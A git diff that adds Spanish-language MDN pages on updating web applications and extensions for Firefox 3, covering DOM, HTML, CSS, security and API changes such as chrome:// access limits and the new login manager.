+<h3 id=".C2.BFPor_qu.C3.A9_es_importante_el_soporte_que_Mozilla_da_al_DOM.3F" name=".C2.BFPor_qu.C3.A9_es_importante_el_soporte_que_Mozilla_da_al_DOM.3F">¿Por qué es importante el soporte que Mozilla da al DOM?</h3>
+
+<p><em>HTML dinámico</em> (<a href="/es/DHTML" title="es/DHTML">DHTML</a>) es un término usado por muchos para describir la combinación de HTML, hojas de estilo y scripts que permite que los documentos sean dinámicos. El grupo de trabajo W3C DOM trabaja duro para asegurarse de que sus soluciones son interoperables e independientes del lenguaje (ver también la <a class="external" href="http://www.w3.org/DOM/faq.html">DOM FAQ</a>). Cuando Mozilla reclama el título de "Plataforma para aplicaciones web", el soporte a DOM es uno de los rasgos más solicitados, y es necesario si Mozilla quiere ser una alternativa real a otros navegadores.</p>
+
+<p>El hecho incluso más importante es que la interfaz de usuario de Firefox (también la de Mozilla Suite y Thunderbird) está construida usando XUL - un lenguaje XML para interfaces de usuario. Así Mozilla usa el DOM para manipular sus propias interfaces de usuario. <small>(<a href="/en/Dynamically_modifying_XUL-based_user_interface">en inglés</a>)</small></p>
diff --git a/files/es/actualizar_aplicaciones_web_para_firefox_3/index.html b/files/es/actualizar_aplicaciones_web_para_firefox_3/index.html
new file mode 100644
index 0000000000..e81f21fa49
--- /dev/null
+++ b/files/es/actualizar_aplicaciones_web_para_firefox_3/index.html
@@ -0,0 +1,87 @@
+---
+title: Actualizar aplicaciones web para Firefox 3
+slug: Actualizar_aplicaciones_web_para_Firefox_3
+tags:
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/Updating_web_applications
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>{{ Fx_minversion_header(3) }} Existen varios cambios en el próximo Firefox 3 que pueden afectar tu sitio web o aplicación web, así como nuevas características que se pueden aprovechar. Este artículo servirá como punto de partida para actualizar el contenido web de modo que se pueda aprovechar Firefox 3 al máximo.</p>
+
+<h3 id="DOM_changes" name="DOM_changes">Cambios DOM</h3>
+
+
+<p></p><p>Nodes from external documents should be cloned using <a href="/es/docs/Web/API/Document/importNode" title="Crea una copia de un nodo desde un documento externo para ser insertado en el documento actual."><code>document.importNode()</code></a> (or adopted using <a href="/es/docs/Web/API/Document/adoptNode" title="Adopta un nodo extreno. El nodo y sub subnodos son quitados del documento en que se encuentra  y su nuevo  ownerDocument se cambia por el actual. El nodo puede entoces ser insertado en el documento actual."><code>document.adoptNode()</code></a>) before they
+    can be inserted into the current document. For more on the <a href="/es/docs/Web/API/Node/ownerDocument" title="La propiedad de lectura Nodo.ownerDocument devuelve el objecto Document de más alto nivel/jerarquia para ese nodo."><code>Node.ownerDocument</code></a> issues, see the
+    <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+    <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
+    sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
+    improved future compatibility.</p><p></p>
+
+<h3 id="HTML_changes" name="HTML_changes">Cambios HTML</h3>
+
+<h4 id="Changes_to_character_set_inheritance" name="Changes_to_character_set_inheritance">Cambios en el conjunto de caracteres de herencia</h4>
+
+<p>Firefox 3 cierra un fallo en la seguridad en frames e iframes que les permitía heredar el conjunto de caracteres de donde eran derivadas. Esto podría causar problemas en ciertos casos. Ahora, las frames están solamente permitidas a heredar el conjunto de caracteres si ambos frames y el conjunto de caracteres fue cargado del mismo servidor. Si tienes páginas que asumen que las frames fueron cargadas de otro servidor heredará el mismo conjunto de caracteres, deberías actualizar los HTML de las frames para indicar el conjunto de caracteres específicamente.</p>
+
+<h4 id="Cambios_en_el_elemento_SCRIPT">Cambios en el elemento SCRIPT</h4>
+
+<p>Ahora hay que cerrar el elemento <span style="font-family: Courier New;"><span class="nowiki">&lt;script&gt;</span></span> en <span style="font-family: Courier New;"><code>text/html</code></span> con <span style="font-family: Courier New;"><span class="nowiki">&lt;/script&gt;</span></span> en los documentos de HTML 4, incluso si no hay contenido dentro. En las versiones previas de Firefox, bastaba con hacer:</p>
+
+<pre class="eval">&lt;script ...   /&gt;
+</pre>
+
+<p>Ahora se deben cumplir las especificaciones de HTML (si se trata de un HTML), y por lo tanto se deben cerrar, así:</p>
+
+<pre class="eval">&lt;script ...&gt;&lt;/script&gt;
+</pre>
+
+<p>Esto mejora tanto la compatibilidad como la seguridad.</p>
+
+<h3 id="Cambios_en_CSS" name="Cambios_en_CSS">Cambios en CSS</h3>
+
+<h4 id="Cambio_al_tama.C3.B1o_de_fuente_basado_en_unidades_em.2C_ex" name="Cambio_al_tama.C3.B1o_de_fuente_basado_en_unidades_em.2C_ex">Cambio al tamaño de fuente basado en unidades em, ex</h4>
+
+<p>Los valores de fuente en unidades em y ex solían ser afectadas por el tamaño mínimo de fuente utilizado por el usuario: si una fuente se desplegaba más grande debido al tamaño mínimo, el ajuste de las unidades em y ex para el tamaño de fuente basados en esta se incrementarían de forma acorde. Esto era inconsistente con la forma en que las fuentes basadas en porcentaje se comportaban.</p>
+
+<p>Los valores del tamaño de fuente en unidades em y ex ahora están basadas en un "tamaño de fuente intencionado" que no se ve afectado por el tamaño mínimo de fuente del usuario. En otras palabras, los tamaños de la fuente se calculan de acuerdo a las intenciones del diseñador y se ajustan al tamaño mínimo de fuente después de ello.</p>
+
+<p>Ver {{ Bug(322943) }} para una demostración (se debe ver con un tamaño mínimo de fuente 6 para detectar la diferencia: las dos cajas en cascada se comportan diferente en Firefox 2, porque el tamaño de fuente basado en em "retorna" el tamaño mínimo de fuente.</p>
+
+<h3 id="Cambios_de_seguridad" name="Cambios_de_seguridad">Cambios de seguridad</h3>
+
+<h4 id="Acceso_Chrome" name="Acceso_Chrome">Acceso Chrome</h4>
+
+<p>En versiones anteriores de Firefox, cualquier página web podía cargar scripts o imágenes <span style="font-family: Courier New;"><code><a class="external" rel="freelink">chrome://</a></code></span> usando el protocolo chrome. Entre otras cosas, esto hizo posible que algunos sitios no detectaran la presencia de complementos,  lo cual podía ser usado para traspasar la seguridad del usuario saltando los complementos que agregaban medidas de seguridad al buscador.</p>
+
+<p>Firefox 3 solo permite contenido web para acceder a los elementos en los espacios del <span style="font-family: Courier New;"><code><a class="external" rel="freelink">chrome://browser/</a></code> </span>y en espacio <span style="font-family: Courier New;"><a class="external" rel="freelink">chrome://toolkit/</a></span>. Estos archivos pretenden ser accesibles por el contenido web. Ahora cualquier otro contenido chrome es bloqueado para el sitio web.</p>
+
+<p>Hay, sin embargo, métodos para ciertas extensiones que puden ser accedidos por la web. Se puede especificar una bandera en su archivo<span style="font-family: Courier New;"> chrome.manifest </span>de esta manera:</p>
+
+<pre class="eval">content mypackage location/ contentaccessible=yes
+</pre>
+
+<p>Esto no debería ser algo que se haga muy seguido, pero está disponible para aquellos casos raros en los que es necesario. Debe tomarse en cuenta que es posible que Firefox alerte al usuario que su extensión utiliza una bandera en el <span style="font-family: Courier New;">contentaccessible </span>de alguna manera, ya que consituye un riesgo potencial en la seguridad.</p>
+
+<div class="note"><strong>Nota:</strong> Ya que Firefox 2 no entiende la bandera <code>contentaccessible</code> (ignorará la instrucción completa de que contiene la bandera), si se desea que el complemento sea compatible con Firefox 2 y Firefox 3, hay que hacer algo como esto:
+
+<pre class="eval">content mypackage location/
+content mypackage location/ contentaccessible=yes
+</pre>
+</div>
+
+<h4 id="Campos_para_subir_archivos">Campos para subir archivos</h4>
+
+<p>En versiones anteriores de Firefox, había casos en los que cuando el usuario seleccionaba un archivo para subir, la aplicación web podía ver la ruta completa del archivo. Esta pertinencia de privacidad ha sido resuelta en Firefox 3; ahora la aplicación web solo mostrará el nombre del archivo.</p>
+
+<h3 id="Cambios_en_JavaScript" name="Cambios_en_JavaScript">Cambios en JavaScript</h3>
+
+<p>Firefox 3 soporta <span style="color: #008080;"><a href="../../../../../en/New_in_JavaScript_1.8" rel="internal">JavaScript 1.8</a></span>. Un cambio importante que quizás requiera actualizaciones en los sitios web o en las aplicaciones, es que los <span style="font-family: Courier New;">Script </span>obsoletos y no-estandar no son soportados. Esto no es la etiqueta <span style="font-family: Courier New;"><code><span class="nowiki">&lt;script&gt;</span></code></span>, pero un objeto de JavaScript que nunca fue estandarizado. De cualquier manera es muy improbable que se use, así que probablemente no surgan problemas.</p>
+
+<h3 id="Vea_tambien" name="Vea_tambien">Vea también</h3>
+
+<ul>
+ <li><a href="/es/Firefox_3_for_developers" title="es/Firefox_3_for_developers">Firefox 3 para desarrolladores</a> <a href="/es/New_in_JavaScript_1.8" title="es/New_in_JavaScript_1.8">Nuevo en  JavaScript 1.8</a> <a href="/es/Updating_extensions_for_Firefox_3" title="es/Updating_extensions_for_Firefox_3">Actualizando extensiones para Firefox 3</a></li>
+</ul>
diff --git a/files/es/actualizar_extensiones_para_firefox_3/actualizar_extensiones_para_firefox_3/index.html b/files/es/actualizar_extensiones_para_firefox_3/actualizar_extensiones_para_firefox_3/index.html
new file mode 100644
index 0000000000..e4c788c5bb
--- /dev/null
+++ b/files/es/actualizar_extensiones_para_firefox_3/actualizar_extensiones_para_firefox_3/index.html
@@ -0,0 +1,229 @@
+---
+title: Actualizar extensiones para Firefox 3
+slug: Actualizar_extensiones_para_Firefox_3/Actualizar_extensiones_para_Firefox_3
+tags:
+  - Firefox 3
+---
+<div><section class="Quick_links" id="Quick_Links">
+  <ol>
+    <li class="toggle">
+        <details>
+            <summary>Notas de la Versión para Desarrolladores de Firefox</summary>
+            <ol>
+              <li><a href="/es/docs/Mozilla/Firefox/Releases">Notas de la Versión para Desarrolladores de Firefox</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Complementos</summary>
+            <ol>
+              <li><a href="/es/Add-ons/WebExtensions">Extensiones del navegador</a></li>
+              <li><a href="/es/Add-ons/Themes">Temas</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Firefox por dentro</summary>
+            <ol>
+              <li><a href="/es/docs/Mozilla/">Proyecto Mozilla (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Gecko">Gecko</a></li>
+              <li><a href="/es/docs/Mozilla/Firefox/Headless_mode">Headless mode</a></li>
+              <li><a href="/es/docs/Mozilla/JavaScript_code_modules">Modulos de código JavaScript (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/js-ctypes">JS-ctypes (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/MathML_Project">Proyecto MathML</a></li>
+              <li><a href="/es/docs/Mozilla/MFBT">MFBT (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Projects">Proyectos Mozilla (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Preferences">Sistema de Preferencias (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/WebIDL_bindings">Ataduras WebIDL (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Tech/XPCOM">XPCOM</a></li>
+              <li><a href="/es/docs/Mozilla/Tech/XUL">XUL</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Crear y contribuir</summary>
+            <ol>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Build_Instructions">Instrucciones para la compilación</a></li>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options">Configurar las opciones de compilación</a></li>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Build_Instructions/How_Mozilla_s_build_system_works">Cómo funciona el sistema de compilación (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Código fuente de Mozilla</a></li>
+              <li><a href="/es/docs/Mozilla/Localization">Localización</a></li>
+              <li><a href="/es/docs/Mozilla/Mercurial">Mercurial (Inglés)</a></li>
+              <li><a href="/es/docs/Mozilla/QA">Garantía de Calidad</a></li>
+              <li><a href="/es/docs/Mozilla/Using_Mozilla_code_in_other_projects">Usar Mozilla en otros proyectos (Inglés)</a></li>
+            </ol>
+        </details>
+    </li>
+  </ol>
+</section></div>
+
+<p> Este artículo ofrece información que será de utilidad para desarrolladores que deseen actualizar sus extensiones, con el propósito de que éstas funcionen correctamente con Firefox 3.</p>
+
+<p>Antes de continuar, queremos sugerirte algo: si el único cambio que requiere tu extensión es un empuje al campo <code>maxVersion</code> en el manifiesto de instalación, y la extensión está disponible en el servidor <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a>, ¡no necesitas actualizar tu extensión a una nueva versión! Simplemente usa el Panel de Control para desarrolladores en AMO para ajustar <code>maxVersion</code>. De esta manera, puedes evitar el trabajo de tener que volver a revisar tu extensión.</p>
+
+<h3 id="Paso_1_Actualiza_el_manifiesto_de_instalaci.C3.B3n" name="Paso_1:_Actualiza_el_manifiesto_de_instalaci.C3.B3n">Paso 1: Actualiza el manifiesto de instalación</h3>
+
+<p>El primer paso <span style='font-family: "Times New Roman"; font-size: 12pt;'>—</span>y para muchas extensiones, el único que será necesario<span style='font-family: "Times New Roman"; font-size: 12pt;'>—</span> es actualizar el archivo <code>install.rdf</code> dentro del manifiesto <a href="/es/Manifiesto_de_instalaci%C3%B3n" title="es/Manifiesto_de_instalación">install manifest</a> para indicar la compatibilidad con Firefox 3.</p>
+
+<p>Simplemente encuentra la línea que indica el número de la versión máxima compatible de Firefox, lo que para Firefox 2 es algo como:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;2.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>Cámbiala para indicar compatibilidad con Firefox 3:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;3.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>A continuación, reinstala la extensión.</p>
+
+<p>Recuerda que en Firefox 3 no necesitas incluir el ".0" extra en el número de versión, con lo que, en lugar de usar "3.0.0.*", sólo necesitas usar "3.0.*".</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Ten en cuenta que actualmente, se esperan muchos cambios en Firefox 3. Estos cambios podrían romper algunas extensiones, por lo que no deberías ofrecer una nueva versión con <code>maxVersion</code> <code>3.0.*</code> a los usuarios, hasta que salgan las versiones RC (release candidate). Durante el periodo Beta, deberías usar <code>maxVersion</code> <code>3.0b5</code>.</p>
+</div>
+
+<p>Ha habido (y continuará habiendo) una serie de cambios en la API que muy probablemente romperá algunas extensiones. Aún estamos trabajando para hacer una lista de todos estos cambios.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si tu extensión aún usa un script <code><a href='\"es/Install.js\"'>Install.js</a></code> en lugar de un <a href='\"es/Install_Manifests\"'>install manifest</a>, necesitas hacer la transición a un manifiesto de instalación ahora. Firefox 3 ya no implementa scripts <code>install.js</code> en archivos XPI.</p>
+</div>
+
+<h4 id="Agregar_localizaciones_al_manifiesto_de_instalaci.C3.B3n" name="Agregar_localizaciones_al_manifiesto_de_instalaci.C3.B3n">Agregar localizaciones al manifiesto de instalación</h4>
+
+<p>Firefox 3 tiene tres nuevas propiedades en el manifiesto de instalación para especificar descripciones de localización. Los métodos antiguos aún funcionan. Sin embargo, los nuevos permiten que Firefox escoja la localización aún cuando la extensión esté deshabilitada o pendiente de instalación. Visita <a href="/es/Localizing_extension_descriptions" title="es/Localizing_extension_descriptions">Localizing extension descriptions</a> para más detalles.</p>
+
+<h3 id="Paso_2_Aseg.C3.BArate_de_suministrar_actualizaciones_seguras" name="Paso_2:_Aseg.C3.BArate_de_suministrar_actualizaciones_seguras">Paso 2: Asegúrate de suministrar actualizaciones seguras</h3>
+
+<p>Si tienes la extensión en tu propio servidor y no en un servidor seguro como <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a>, debes suministrar un método para la descarga segura de la extensión. Esto puede hacerse manteniendo un servidor SSl, o usando claves criptográficas para firmar la información de la extensión. Lee <a href="/es/Extension_Versioning,_Update_and_Compatibility#Securing_Updates" title="es/Extension_Versioning,_Update_and_Compatibility#Securing_Updates">Securing Updates</a> para más información.</p>
+
+<h3 id="Paso_3_Manejate_con_los_cambios_en_los_API" name="Paso_3:_Manejate_con_los_cambios_en_los_API">Paso 3: Debes estar al tanto de los cambios en las API</h3>
+
+<p>Muchas API han sido modificadas de forma significativa. Los cambios más importantes, que seguramente afectarán a muchas extensiones son:</p>
+
+<h4 id="DOM" name="DOM">DOM</h4>
+
+
+<p>Nodes from external documents should be cloned using <a href="/es/docs/Web/API/Document/importNode" title="Crea una copia de un nodo desde un documento externo para ser insertado en el documento actual."><code>document.importNode()</code></a> (or adopted using <a href="/es/docs/Web/API/Document/adoptNode" title="Adopta un nodo extreno. El nodo y sub subnodos son quitados del documento en que se encuentra  y su nuevo  ownerDocument se cambia por el actual. El nodo puede entoces ser insertado en el documento actual."><code>document.adoptNode()</code></a>) before they
+    can be inserted into the current document. For more on the <a href="/es/docs/Web/API/Node/ownerDocument" title="La propiedad de lectura Nodo.ownerDocument devuelve el objecto Document de más alto nivel/jerarquia para ese nodo."><code>Node.ownerDocument</code></a> issues, see the
+    <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+    <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
+    sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
+    improved future compatibility.</p>
+
+<h4 id="Marcadores__Historial" name="Marcadores_&amp;_Historial">Marcadores e Historial</h4>
+
+<p>Si tu extensión accede a los marcadores o al historial de alguna forma, necesitarás un gran esfuerzo para hacerla compatible con Firefox 3. Los API antiguos que accedian a esta información, han sido reemplazados por la nueva arquitectura <a href="/es/Cat%C3%A1logo" title="es/Catálogo">Catálogo</a>. Ver <a href="/es/Gu%C3%ADa_para_la_migraci%C3%B3n_a_cat%C3%A1logo" title="es/Guía_para_la_migración_a_catálogo">Guía para la migración a catálogo</a> para más detalles de cómo actualizar tus extensiones en el uso de las API de catálogo.</p>
+
+<h4 id="Administrador_de_descargas" name="Administrador_de_descargas">Administrador de descargas</h4>
+
+<p>El API del administrador de descargas ha cambiado ligeramente debido a la transición desde el uso del almacén de datos RDF al uso del API <a href="/es/Storage" title="es/Storage">Storage</a>. Esto debería ser una transición pequeña y fácil. Adicionalmente, el API para vigilar los procesos de descarga ha cambiado para que maneje varias escuchas de descarga. Ver <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager" title="">nsIDownloadManager</a></code>, <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadProgressListener" title="">nsIDownloadProgressListener</a></code>, y <a href="/es/Vigilar_descargas" title="es/Vigilar_descargas">Monitoring downloads</a> para más información.</p>
+
+<h4 id="Administrador_de_contrase.C3.B1as" name="Administrador_de_contrase.C3.B1as">Administrador de contraseñas</h4>
+
+<p>Si tu extensión accede a información de identidad de usuario del Administrador de Contraseñas, necesitará ser actualizada para usar el nuevo API Administrador de Contraseñas.</p>
+
+<ul>
+ <li>El artículo <a href="/es/Using_nsILoginManager" title="es/Using_nsILoginManager">Using nsILoginManager</a> incluye ejemplos, que incluyen una demostración de cómo debes escribir extensiones que trabajen tanto con el Administrador de Contraseñas (Password Manager) como con el Administrador de Registro (Login Manager) para que ambos trabajen con Firefox 3 y versiones anteriores.</li>
+ <li><code><a href="/es/NsILoginInfo" title="es/NsILoginInfo">nsILoginInfo</a></code></li>
+ <li><code><a href="/es/NsILoginManager" title="es/NsILoginManager">nsILoginManager</a></code></li>
+</ul>
+
+<p>También puedes sobre-escribir el almacén del administrador de contraseñas interno si quieres ofrecer tu propio almacén en tu extensión. Ver <a href="/es/Creating_a_Login_Manager_storage_module" title="es/Creating_a_Login_Manager_storage_module">Creating a Login Manager storage module</a> para más detalles.</p>
+
+<h4 id="Ventanas_emergentes_.28Men.C3.BAs.2C_Men.C3.BAs_contextuales.2C_Tooltips_y_Paneles.29" name="Ventanas_emergentes_.28Men.C3.BAs.2C_Men.C3.BAs_contextuales.2C_Tooltips_y_Paneles.29">Ventanas emergentes (Menús, Menús contextuales, Tooltips y Paneles)</h4>
+
+<p>En Firefox 3, se ha modificado sustancialmente el sistema XUL de ventanas emergentes. El sistema de ventanas emergentes, contempla ahora, menús, menús contextuales y paneles. Se ha creado una guía a <a href="/es/XUL/PopupGuide" title="es/XUL/PopupGuide">using Popups</a>, detallando cómo funciona este sistema. Una cosa a tener en cuenta, es que se desaconseja el uso de <code>popup.<span id="m-showPopup"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/showPopup">showPopup</a></code></span></code> en favor de los nuevos <code>popup.<span id="m-openPopup"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/openPopup">openPopup</a></code></span></code> y <code>popup.<span id="m-openPopupAtScreen"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/openPopupAtScreen">openPopupAtScreen</a></code></span></code>.</p>
+
+<h4 id="Autocompletado" name="Autocompletado">Autocompletado</h4>
+
+<p>El método <code><a href="/es/NsIAutoCompleteController#handleEnter.28.29" title="es/NsIAutoCompleteController#handleEnter.28.29">handleEnter()</a></code> del interfaz <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAutoCompleteController" title="">nsIAutoCompleteController</a></code> ha cambiado para aceptar un argumento que indique si el texto ha sido seleccionado en una ventana de Autocompletado o por que el usuario ha pulsado Intro después de teclear algún texto.</p>
+
+<h4 id="Analizador_del_DOM_.28DOMParser.29" name="Analizador_del_DOM_.28DOMParser.29">Analizador del DOM (DOMParser)</h4>
+
+<ul>
+ <li>Cuando se inicia una instancia del <code>DOMParser</code>, se hereda el código de la llamada principal y los códigos <code>documentURI</code> y <code>baseURI</code> de la ventana del constructor de donde viene.</li>
+ <li>Si elllamante tiene privilegios UniversalXPConnect, puede pasar parámetros a <code>new DOMParser()</code>. Si se pasan menos de tres parámetros, los parámetros restantes se pasarán con el valor <code>null</code>.
+  <ul>
+   <li>El primer parámetro es el principal a usar; esto sobre-escribe el valor heredado del principal.</li>
+   <li>El segundo parámetro es la <code>documentURI</code> a usar.</li>
+   <li>El tercer parámetro es la <code>baseURI</code> a usar.</li>
+  </ul>
+ </li>
+ <li>Si inicias un <code>DOMParser</code> usando un contrato como <code>createInstance()</code>, y no llamas al método <code>init()</code> de <code>DOMParser</code>, al intentar iniciar la operación de análisis, se creará automáticamente una <code>DOMParser</code> con un principal nulo y un puntero <code>null</code> a <code>documentURI</code> y <code>baseURI</code>.</li>
+</ul>
+
+<h4 id="Interfaces_eliminados" name="Interfaces_eliminados">Interfaces eliminados</h4>
+
+<p>Los siguientes interfaces han sido eliminados en Gecko 1.9, que es el motor de Firefox 3. Si tu extensión hace uso de cualquiera de estos interfaces, necesitas actualizar tu código:</p>
+
+<ul>
+ <li><code>nsIDOMPaintListener</code></li>
+ <li><code>nsIDOMScrollListener</code></li>
+ <li><code>nsIDOMMutationListener</code></li>
+ <li><code>nsIDOMPageTransitionListener</code></li>
+ <li><code>nsICloseAllWindows</code> (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=386200" title='FIXED: SeaMonkey only: no "view cert button" in untrusted cert error dialog'>error 386200</a>)</li>
+</ul>
+
+<h3 id="Paso_4_Comprueba_los_cambios_importantes_en_el_chrome" name="Paso_4:_Comprueba_los_cambios_importantes_en_el_chrome">Paso 4: Comprueba los cambios importantes en el chrome</h3>
+
+<p>Ha habido un cambio pequeño en el chrome que puede requerir cambis en tu código. Se ha añadido un nuevo <code>vbox</code> llamado "browser-bottombox", que integra la barra de búsqueda y la barra de estado en la parte baja de la ventana del navegador. Aunque esto no afecta a la apariencia de la pantalla, puede que afecte a tu extensión si está hace uso de los elementos descritos.</p>
+
+<p>Por ejemplo, si has recubierto algún elemento del chrome antes de la barra de estado de esta manera:</p>
+
+<pre>&lt;window id="main-window"&gt;
+  &lt;something insertbefore="status-bar" /&gt;
+&lt;/window&gt;
+</pre>
+
+<p>Debes cambiar tu código a algo como:</p>
+
+<pre>&lt;vbox id="browser-bottombox"&gt;
+  &lt;something insertbefore="status-bar" /&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>O usar la siguiente técnica para hacer que el recubrimiento funciones tanto en Firefox 2 como Firefox 3:</p>
+
+<pre>&lt;window id="main-window"&gt;
+  &lt;vbox id="browser-bottombox" insertbefore="status-bar"&gt;
+    &lt;something insertbefore="status-bar" /&gt;
+  &lt;vbox&gt;
+&lt;/window&gt;
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Este cambio es efectivo a partir de Firefox 3 beta 4.</p>
+</div>
+
+<h3 id="Otros_cambios" name="Otros_cambios">Otros cambios</h3>
+
+<p><em>Añade los cambios sencillos que tengas que realizar al actualizar tu extensión para que funciones con Firefox 3.</em></p>
+
+<ul>
+ <li><code><a class="external" rel="freelink">chrome://browser/base/utilityOverlay.js</a></code> ya no está implementado por razones de seguridad. Si estabas usando esto, debes cambiarlo a <code><a class="external" rel="freelink">chrome://browser/content/utilityOverlay.js</a></code>.</li>
+ <li>Las implementaciones de <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAboutModule" title="">nsIAboutModule</a></code> ahora requieren implementar el método <code>getURIFlags</code>. Ver <a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl" rel="custom">nsIAboutModule.idl</a> para más información. Esto afecta a las extensiones que ofezcan nuevas URI del tipo <code>about:</code>. (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=337746" title='FIXED: [FIX]Move "safe about" hardcoding out of security manager'>error 337746</a>)</li>
+ <li>El elemento <code><a href="/es/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code> ya no forma parte de "toolkit" (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=339964" title="FIXED: move tabbrowser.xml out of mozilla/toolkit and into mozilla/browser">error 339964</a>). Esto significa que este elemento ya no está visible en las aplicaciones o extensiones XUL. Este elmento sigue siendo parte de la ventana principal de Firefox (browser.xul).</li>
+ <li>Cambios en <a href="/es/NsISupports_proxies" title="es/NsISupports_proxies">nsISupports proxies</a></li>
+</ul>
+
+<p>Es necesario documentar los interfaces a y los relacionados con sus hilos.</p>
+
+<ul>
+ <li>Si usas instrucciones de proceso XML, tales como <code>&lt;?xml-stylesheet ?&gt;</code> en tus archivos XUL, ten en cuenta los cambios expuestos en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=319654" title="FIXED: Processing instructions in XUL are not added to the content model">error 319654</a>:
+
+  <ol>
+   <li>Se añade al DOM del documento XUL, los XML PIs. Esto significa que <a href="/es/docs/Web/API/Document/firstChild" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>document.firstChild</code></a> no tiene garantía de ser el elemento raiz. Si necesitas referenciar el documento raiz en tu script, usa <a href="/es/docs/Web/API/Document/documentElement" title="Solo-lectura"><code>document.documentElement</code></a> en su lugar.</li>
+   <li>Las instrucciones de proceso <code>&lt;?xml-stylesheet ?&gt;</code> y <code>&lt;?xul-overlay ?&gt;</code> no tienen ahora efecto fuera del prologo del documento.</li>
+  </ol>
+ </li>
+ <li>Cuando se carga contenido web (se carga la página en el navegador) no se inicia <code>window.addEventListener("load", myFunc, true)</code>. Esto ocurre por que <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=296639" title="FIXED: Split windows into an inner and outer object">error 296639</a> cambia la forma de comunicación entre las ventanas internas y externas. La forma fácil de corregir esto, es usar <code>gBrowser.addEventListener("load", myFunc, true)</code>, según se describe <a href="/es/Code_snippets/Tabbed_browser#Detecting_page_load" title="es/Code_snippets/Tabbed_browser#Detecting_page_load">aquí</a> y que funciona también en Firefox 2.</li>
+ <li><code>content.window.getSelection()</code> ofrece un objeto (que puede ser convertido en cadena con <code>toString()</code>), mientras que se desaconseja el uso de <code>content.document.getSelection()</code> que devuelve una cadena</li>
+ <li>Se desaconseja, a partir de Firefox 2, el uso de <code>event.preventBubble()</code> y por tanto ha desaparecido en Firefox 3. En su lugar, usa <a href="/es/DOM/event.stopPropagation" title="es/DOM/event.stopPropagation"><code>event.stopPropagation()</code></a>, que también funciona en Firefox 2.</li>
+ <li>Los contadores de tiempo que se inician usando <code>setTimeout()</code>, ahora están bloqueados por las ventanas en modo 'modal' por el ajuste hecho por <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=52209" title="FIXED: JS timers can fire while a modal dialog is open">error 52209</a>. En su lugar, deberías usar <code>nsITimer</code>.</li>
+ <li>Si tu extensión necesita permitir una fuente no fiable (por ejemplo un sitio web) para acceder al chrome de la extensión, debes usar el nuevo flag <a href="/es/Chrome_Registration#contentaccessible" title="es/Chrome_Registration#contentaccessible"><code>contentaccessible</code> flag</a>.</li>
+</ul>
diff --git a/files/es/actualizar_extensiones_para_firefox_3/index.html b/files/es/actualizar_extensiones_para_firefox_3/index.html
new file mode 100644
index 0000000000..fc3f91addd
--- /dev/null
+++ b/files/es/actualizar_extensiones_para_firefox_3/index.html
@@ -0,0 +1,161 @@
+---
+title: Actualizar extensiones para Firefox 3
+slug: Actualizar_extensiones_para_Firefox_3
+tags:
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/Updating_extensions
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Este artículo ofrece información que será de utilidad para desarrolladores que deseen actualizar sus extensiones, para que éstas funcionen correctamente con Firefox 3.<br>
+ <br>
